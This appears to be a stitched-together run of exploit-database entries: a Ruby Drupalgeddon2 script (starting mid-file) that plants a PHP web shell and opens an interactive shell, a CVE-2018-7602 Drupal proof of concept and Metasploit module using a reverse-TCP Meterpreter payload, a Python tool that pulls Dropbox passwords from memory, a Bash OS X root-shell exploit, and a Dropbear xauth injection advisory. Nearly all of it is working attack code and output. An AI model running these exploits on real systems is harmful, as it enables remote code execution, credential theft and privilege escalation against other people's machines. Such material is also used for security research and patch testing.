    puts warning("MISSING: #{uri}    (HTTP Response: #{response.code})#{tmp}")
  end
end


# Feedback
if not $drupalverion.empty?
  status = $drupalverion.end_with?("x")? "?" : "!"
  puts success("Drupal#{status}: v#{$drupalverion}")
else
  puts error("Didn't detect Drupal version")
  exit
end

if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
  puts error("Unsupported Drupal version (#{$drupalverion})")
  exit
end
puts "-"*80




# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



# The attack vector to use
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"

# Make a request, check for form
url = "#{$target}?q=#{$form}"
puts action("Testing: Form   (#{$form})")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Form valid")
elsif response['location']
  puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})...   Could try following the redirect: #{response['location']}")
  exit
elsif response.code == "404"
  puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})...   Form disabled?")
  exit
elsif response.code == "403"
  puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})...   Form blocked?")
  exit
elsif response.body.empty?
  puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
  exit
else
  puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
end


puts "- "*40


# Make a request, check for clean URLs status ~ Enabled: /user/register   Disabled: /?q=user/register
# Drupal v7.x needs it anyway
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
url = "#{$target}#{$form}"

puts action("Testing: Clean URLs")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Clean URLs enabled")
else
  $clean_url = "?q="
  puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
  puts verbose("response.body: #{response.body}") if $verbose

  # Drupal v8.x needs it to be enabled
  if $drupalverion.start_with?("8")
    puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
    exit
  elsif $drupalverion.start_with?("7")
    puts info("Isn't an issue for Drupal v7.x")
  end
end
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Values in gen_evil_url for Drupal v8.x
elementsv8 = [
  "mail",
  "timezone",
]
# Values in gen_evil_url for Drupal v7.x
elementsv7 = [
  "name",
]

elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7

elements.each do|e|
  $element = e

  # Make a request, testing code execution
  puts action("Testing: Code Execution   (Method: #{$element})")

  # Generate a random string to see if we can echo it
  random = (0...8).map { (65 + rand(26)).chr }.join
  url, payload = gen_evil_url("echo #{random}", e)

  response = http_request(url, "post", payload, $session_cookie)
  if (response.code == "200" or response.code == "500") and not response.body.empty?
    result = clean_result(response.body)
    if not result.empty?
      puts success("Result : #{result}")

      if response.body.match(/#{random}/)
        puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
        break

      else
        puts warning("WARNING: Target MIGHT be exploitable [4]...   Detected output, but didn't MATCH expected result")
      end

    else
      puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})...   Didn't detect any INJECTED output (disabled PHP function?)")
    end

    puts warning("WARNING: Target MIGHT be exploitable [5]...   Blind attack?") if response.code == "500"

    puts verbose("response.body: #{response.body}") if $verbose
    puts verbose("clean_result: #{result}") if not result.empty? and $verbose

  elsif response.body.empty?
    puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
    exit

  else
    puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
    exit
  end

  puts "- "*40 if e != elements.last
end

puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Location of web shell & used to signal if using PHP shell
webshellpath = ""
prompt = "drupalgeddon2"

# Possibles paths to try
paths = [
  # Web root
  "",
  # Required for setup
  "sites/default/",
  "sites/default/files/",
  # They did something "wrong", chmod -R 0777 .
  #"core/",
]
# Check all (if doing web shell)
paths.each do|path|
  # Check to see if there is already a file there
  puts action("Testing: Existing file   (#{$target}#{path}#{webshell})")

  response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
  if response.code == "200"
    puts warning("Response: HTTP #{response.code} // Size: #{response.size}.   ***Something could already be there?***")
  else
    puts info("Response: HTTP #{response.code} // Size: #{response.size}")
  end

  puts "- "*40


  # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


  folder = path.empty? ? "./" : path
  puts action("Testing: Writing To Web Root   (#{folder})")

  # Merge locations
  webshellpath = "#{path}#{webshell}"

  # Final command to execute
  cmd = "#{bashcmd} | tee #{webshellpath}"

  # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
  # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
  if path == "sites/default/files/"
    puts action("Moving : ./sites/default/files/.htaccess")
    cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
  end

  # Generate evil URLs
  url, payload = gen_evil_url(cmd, $element)
  # Make the request
  response = http_request(url, "post", payload, $session_cookie)
  # Check result
  if response.code == "200" and not response.body.empty?
    # Feedback
    result = clean_result(response.body)
    puts success("Result : #{result}") if not result.empty?

    # Test to see if backdoor is there (if we managed to write it)
    response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
    if response.code == "200" and not response.body.empty?
      puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
      break

    elsif response.code == "404"
      puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})...   Might not have write access?")

    elsif response.code == "403"
      puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

    elsif response.body.empty?
      puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})...   Got an empty response back")

    else
      puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
      puts verbose("response.body: #{response.body}") if $verbose
    end

  elsif response.code == "500" and not response.body.empty?
    puts warning("Target MAY of been exploited... Bit of blind leading the blind")
    break

  elsif response.code == "404"
    puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})...   Might not have write access?")

  elsif response.code == "403"
    puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

  elsif response.body.empty?
    puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))...   Got an empty response back")

  else
    puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
  end

  webshellpath = ""

  puts "- "*40 if path != paths.last
end if try_phpshell

# If a web path was set, we exploited using PHP!
if not webshellpath.empty?
  # Get hostname for the prompt
  prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?

  puts "-"*80
  puts info("Fake PHP shell:   curl '#{$target}#{webshellpath}' -d 'c=hostname'")
# Should we be trying to call commands via PHP?
elsif try_phpshell
  puts warning("FAILED : Couldn't find a writeable web path")
  puts "-"*80
  puts action("Dropping back to direct OS commands")
end


# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")


# Forever loop
loop do
  # Default value
  result = "~ERROR~"

  # Get input
  command = Readline.readline("#{prompt}>> ", true).to_s

  # Check input
  puts warning("WARNING: Detected an known bad character (>)") if command =~ />/

  # Exit
  break if command == "exit"

  # Blank link?
  next if command.empty?

  # If PHP web shell
  if not webshellpath.empty?
    # Send request
    result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
  # Direct OS commands
  else
    url, payload = gen_evil_url(command, $element, true)
    response = http_request(url, "post", payload, $session_cookie)

    # Check result
    if not response.body.empty?
      result = clean_result(response.body)
    end
  end

  # Feedback
  puts result
end
            
This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with : 

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.

Patch your systems!
Blaklis
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpClient
  
    def initialize(info={})
      super(update_info(info,
        'Name'           => 'Drupalgeddon3',
        'Description'    => %q{
          CVE-2018-7602 / SA-CORE-2018-004
          A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.
          This potentially allows attackers to exploit multiple attack vectors on a Drupal site
          Which could result in the site being compromised.
          This vulnerability is related to Drupal core - Highly critical - Remote Code Execution

          The module can load msf PHP arch payloads, using the php/base64 encoder.

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'SixP4ck3r',   # Research and port to MSF
            'Blaklis'      # Initial PoC
          ],
        'References'     =>
          [
            ['SA-CORE', '2018-004'],
            ['CVE', '2018-7602'],
          ],
        'DefaultOptions'  =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => [ARCH_PHP],
        'Targets'        =>
          [
            ['User register form with exec', {}],
          ],
        'DisclosureDate' => 'Apr 29 2018',
        'DefaultTarget'  => 0
      ))
  
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
          OptString.new('DRUPAL_NODE', [ true, "Exist Node Number (Page, Article, Forum topic, or a Post)", '1']),
          OptString.new('DRUPAL_SESSION', [ true, "Authenticated Cookie Session", '']),
        ])
  
      register_advanced_options(
        [

        ])
    end
  
    def uri_path
      normalize_uri(target_uri.path)
    end

    def start_exploit
      drupal_node = datastore['DRUPAL_NODE']
      res = send_request_cgi({
        'cookie' => datastore['DRUPAL_SESSION'],
        'method'   => 'GET',
        'uri'      => "#{uri_path}/node/#{drupal_node}/delete"
      })
      form_token = res.body.scan( /form_token" value="([^>]*)" \/>/).last.first
      print "[*] Token Form -> #{form_token}\n"
      r2 = send_request_cgi({
        'method'    => 'POST',
        'cookie' => datastore['DRUPAL_SESSION'],
        'uri'       => "#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'#{payload.encoded}'",
        'vars_post' => {
        'form_id'   => 'node_delete_confirm',
        '_triggering_element_name' => 'form_id',
        'form_token'=> "#{form_token}"
        }
      })
      form_build_id = r2.body.scan( /form_build_id" value="([^>]*)" \/>/).last.first
      print "[*] Token Form_build_id -> #{form_build_id}\n"
      r3 = send_request_cgi({
        'method'    => 'POST',
        'cookie' => datastore['DRUPAL_SESSION'],
        'uri'       => "#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}",
        'vars_post' => {
        'form_build_id'   => "#{form_build_id}"
        }
      })
    end
  
    def exploit
      case datastore['TARGET']
      when 0
        start_exploit
      else
        fail_with(Failure::BadConfig, "Your target is invalid.")
      end
    end
  end
            
#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "Dropbox.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
			memory_dump.append(process.read(address,100))
		for i in range(len(memory_dump)):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('\x00')[0]
			password	= tmp_passwd.split('&is_sso_link=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()
            
#!/bin/bash

# Exploit Title: Dropbox FinderLoadBundle OS X local root exploit
# Google Dork: N/A
# Date: 29/09/15
# Exploit Author: cenobyte
# Vendor Homepage: https://www.dropbox.com
# Software Link: N/A
# Version: Dropbox 1.5.6, 1.6-7.*, 2.1-11.*, 3.0.*, 3.1.*, 3.3.*
# Tested on: OS X Yosemite (10.10.5)
# CVE: N/A

#
#      Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
#                        <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# The setuid root FinderLoadBundle that was included in older DropboxHelperTools
# versions for OS X allows loading of dynamically linked shared libraries
# that are residing in the same directory. The directory in which
# FinderLoadBundle is located is owned by root and that prevents placing
# arbitrary files there. But creating a hard link from FinderLoadBundle to
# somewhere in a directory in /tmp circumvents that protection thus making it
# possible to load a shared library containing a payload which creates a root
# shell.
#
# - vulnerable versions: | versions not vulnerable:
# Dropbox 3.3.* for Mac  | Dropbox 3.10.* for Mac
# Dropbox 3.1.* for Mac  | Dropbox 3.9.* for Mac
# Dropbox 3.0.* for Mac  | Dropbox 3.8.* for Mac
# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac
# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac
# Dropbox 2.9.* for Mac  | Dropbox 3.5.* for Mac
# Dropbox 2.8.* for Mac  | Dropbox 3.4.* for Mac
# Dropbox 2.7.* for Mac  | Dropbox 3.2.* for Mac
# Dropbox 2.6.* for Mac  | Dropbox 1.5.1-5 for Mac
# Dropbox 2.5.* for Mac  | Dropbox 1.4.* for Mac
# Dropbox 2.4.* for Mac  | Dropbox 1.3.* for Mac
# Dropbox 2.3.* for Mac  |
# Dropbox 2.2.* for Mac  |
# Dropbox 2.1.* for Mac  |
# Dropbox 1.7.* for Mac  |
# Dropbox 1.6.* for Mac  |
# Dropbox 1.5.6 for Mac  |
#
# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.
# However, there is no mention of this issue at the Dropbox release notes:
# https://www.dropbox.com/release_notes
#
# It seems that one of the fixes implemented in FinderLoadBundle is a
# check whether the path of the bundle is a root owned directory making it
# impossible to load arbitrary shared libraries as a non-privileged user.
# 
# I am not sure how to find the exact version of the FinderLoadBundle executable
# but the included Info.plist contained the following key:
# <key>CFBundleShortVersionString</key>
# This key is no longer present in the plist file of the latest version. So I
# included a basic vulnerable version checker that checks for the presence of
# this key.
#
# - exploit details:
# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features
# used. This exploit relies on Xcode for the shared library + root shell to be
# compiled. After successful exploitation a root shell is left in a directory in
# /tmp so make sure you delete it on your own system when you are done testing. 
#
# - example:
# $ ./dropboxfinderloadbundle.sh 
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
#
# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3
# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle
# [-] constructing bundle
# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c
# [-] compiling root shell
# [-] executing FinderLoadBundle using root shell payload
# [-] entering root shell
# bash-3.2# id -P
# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh

readonly __progname=$(basename $0)

errx() {
	echo "$__progname: $@" >&2
	exit 1
}

main() {
	local -r tmp=$(head -10 /dev/urandom | md5)
	local -r helpertools="/Library/DropboxHelperTools"
	local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"
	local -r bundletarget="$bundle/mach_inject_bundle_stub"
	local -r bundlesrc="${bundletarget}.c"
	local -r sh="/tmp/$tmp/boomsh"
	local -r shsrc="${sh}.c"
	local -r cfversion="CFBundleShortVersionString"
	local -r findbin="FinderLoadBundle"

	echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"
	echo

	uname -v | grep -q ^Darwin || \
		errx "this Dropbox exploit only works on OS X"

	[ ! -d "$helpertools" ] && \
		errx "$helpertools does not exist"

	which -s gcc || \
		errx "gcc not found"

	found=0
	for finder in $(ls $helpertools/Dropbox_u*/$findbin); do
		stat -s "$finder" | grep -q "st_mode=0104"
		if [ $? -eq 0 ]; then
			found=1
			break
		fi
	done

	[ $found -ne 1 ] && \
		errx "couldn't find a setuid root $findbin"

	local -r finderdir=$(dirname $finder)
	local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"
	
	[ -f "$plist" ] || \
		errx "FinderLoadBundle not vulnerable (cannot open $plist)"

	grep -q "<key>$cfversion</key>" "$plist" || \
		errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"

	echo "[-] creating temporary directory: /tmp/$tmp"
	mkdir /tmp/$tmp || \
		errx "couldn't create /tmp/$tmp"

	echo "[-] linking $finder"
	ln "$finder" "/tmp/$tmp/$findbin" || \
		errx "ln $finder /tmp/$tmp/$findbin failed"
	
	echo "[-] constructing bundle"
	mkdir -p "$bundle" || \
		errx "cannot create $bundle"

	echo "#include <sys/stat.h>" > "$bundlesrc"
	echo "#include <sys/types.h>" >> "$bundlesrc"
	echo "#include <stdlib.h>" >> "$bundlesrc"
	echo "#include <unistd.h>" >> "$bundlesrc"
	echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"
	echo "void init(void)" >> "$bundlesrc"
	echo "{" >> "$bundlesrc"
	echo "	setuid(0);" >> "$bundlesrc"
	echo "	setgid(0);" >> "$bundlesrc"
	echo "	chown(\"$sh\", 0, 0);" >> "$bundlesrc"
	echo "	chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"
	echo "}" >> "$bundlesrc"

	echo "[-] creating $shsrc"
	echo "#include <unistd.h>" > "$shsrc"
	echo "#include <stdio.h>" >> "$shsrc"
	echo "#include <stdlib.h>" >> "$shsrc"
	echo "int" >> "$shsrc"
	echo "main()" >> "$shsrc"
	echo "{" >> "$shsrc"
	echo "	setuid(0);" >> "$shsrc"
	echo "	setgid(0);" >> "$shsrc"
	echo "	system(\"/bin/bash\");" >> "$shsrc"
	echo "	return(0);" >> "$shsrc"
	echo "}" >> "$shsrc"

	echo "[-] compiling root shell"
	gcc "$shsrc" -o "$sh" || \
	errx "gcc failed for $shsrc"

	gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \
		errx "gcc failed for $bundlesrc"

	echo "[-] executing $findbin using root shell payload"
	cd "/tmp/$tmp"
	./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null
	[ $? -ne 4 ] && \
		errx "exploit failed, $findbin seems not vulnerable"

	[ ! -f "$sh" ] && \
		errx "$sh was not created, exploit failed"

	stat -s "$sh" | grep -q "st_mode=0104" || \
		errx "$sh was not set to setuid root, exploit failed"
	echo "[-] entering root shell"

	"$sh"
}

main "$@"

exit 0
            
VuNote
============

	Author:		<github.com/tintinweb>
	Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
	Version: 	0.2
	Date: 		Mar 3rd, 2016
	
	Tag:		dropbearsshd xauth command injection may lead to forced-command bypass

Overview
--------

	Name:			dropbear
	Vendor:			Matt Johnston
	References:		* https://matt.ucc.asn.au/dropbear/dropbear.html [1]
	
	Version:		2015.71
	Latest Version:	2015.71
	Other Versions:	<= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
	Platform(s):	linux
	Technology:		c

	Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
	Origin:			remote
	Min. Privs.:	post auth

	CVE:			CVE-2016-3116



Description
---------

quote website [1]

>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.

Summary 
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie. 
The newline acts as a command separator to the xauth binary. This attack requires 
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files, 
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass 
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the 
logged in user as the sshd already dropped its privileges. 

Quick-Info:

* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


see attached PoC


Details
-------

// see annotated code below

	* x11req (svr-x11fwd.c:46)
      
    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)

Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info  
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write 
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to 
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`

* handle x11 request, stores cookie in `chansess`
	```c
	/* called as a request for a session channel, sets up listening X11 */
	/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
	int x11req(struct ChanSess * chansess) {
	
		int fd;
	
		/* we already have an x11 connection */
		if (chansess->x11listener != NULL) {
			return DROPBEAR_FAILURE;
		}
	
		chansess->x11singleconn = buf_getbyte(ses.payload);
		chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data
		chansess->x11screennum = buf_getint(ses.payload);
	```
	
* set auth cookie/authprot

	```c
	/* This is called after switching to the user, and sets up the xauth
	 * and environment variables.  */
	void x11setauth(struct ChanSess *chansess) {
	
		char display[20]; /* space for "localhost:12345.123" */
		FILE * authprog = NULL;
		int val;
	
		if (chansess->x11listener == NULL) {
			return;
		}
	
		...
	
		/* popen is a nice function - code is strongly based on OpenSSH's */
		authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary
		if (authprog) {
			fprintf(authprog, "add %s %s %s\n",
					display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot
			pclose(authprog);
		} else {
			fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
		}
	}
	```

Proof of Concept
----------------

Prerequisites: 

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`

Note: see cve-2016-3115 [3] for `poc.py`

	 Usage: <host> <port> <username> <password or path_to_privkey>
	        
	        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
	        

poc:

1. configure one user (user1) for `force-commands`:
	```c 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user1/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

	#cat /etc/passwd
	user1:x:1001:1001:,,,:/home/user1:/bin/bash
	```
	    
2. run dropbearsshd (x11fwd is on by default)

	```c
	#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
	[22861] Not backgrounding
	[22862] Child connection from 192.168.139.1:49597
	[22862] Forced command 'whoami'
	[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
	```	

3. `forced-commands` - connect with user1 and display env information

	```c
	#> python <host> 2222 user1 .demoprivkey
	
	INFO:__main__:add this line to your authorized_keys file: 
	#PUBKEY line - force commands: only allow "whoami"
	#cat /home/user/.ssh/authorized_keys
	command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
	
	INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
	INFO:__main__:connected!
	INFO:__main__:
	Available commands:
	    .info
	    .readfile <path>
	    .writefile <path> <data>
	    .exit .quit
	    <any xauth command or type help>
	
	#> .info
	DEBUG:__main__:auth_cookie: '\ninfo'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:Authority file:       /home/user1/.Xauthority
	File new:             no
	File locked:          no
	Number of entries:    2
	Changes honored:      yes
	Changes made:         no
	Current input:        (stdin):2
	user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	...
	```
	
4. `forced-commands` - read `/etc/passwd`

	```c
	...
	#> .readfile /etc/passwd
	DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
	DEBUG:__main__:dummy exec returned: None
	INFO:__main__:root:x:0:0:root:/root:/bin/bash
	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
	bin:x:2:2:bin:/bin:/usr/sbin/nologin
	sys:x:3:3:sys:/dev:/usr/sbin/nologin
	sync:x:4:65534:sync:/bin:/bin/sync
	...
	```
		
5. `forced-commands` - write `/tmp/testfile`

	```c
	#> .writefile /tmp/testfile1 `thisisatestfile`
	DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
	DEBUG:__main__:dummy exec returned: None
	DEBUG:__main__:user1
	/usr/bin/xauth: (stdin):1:  bad "add" command line
	
	#> INFO:__main__:/tmp/testfile1
	
	#> ls -lsat /tmp/testfile1
	4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
	
	#> cat /tmp/testfile1
	ú65500hiú65500`thisisatestfile`ªr
	```
	
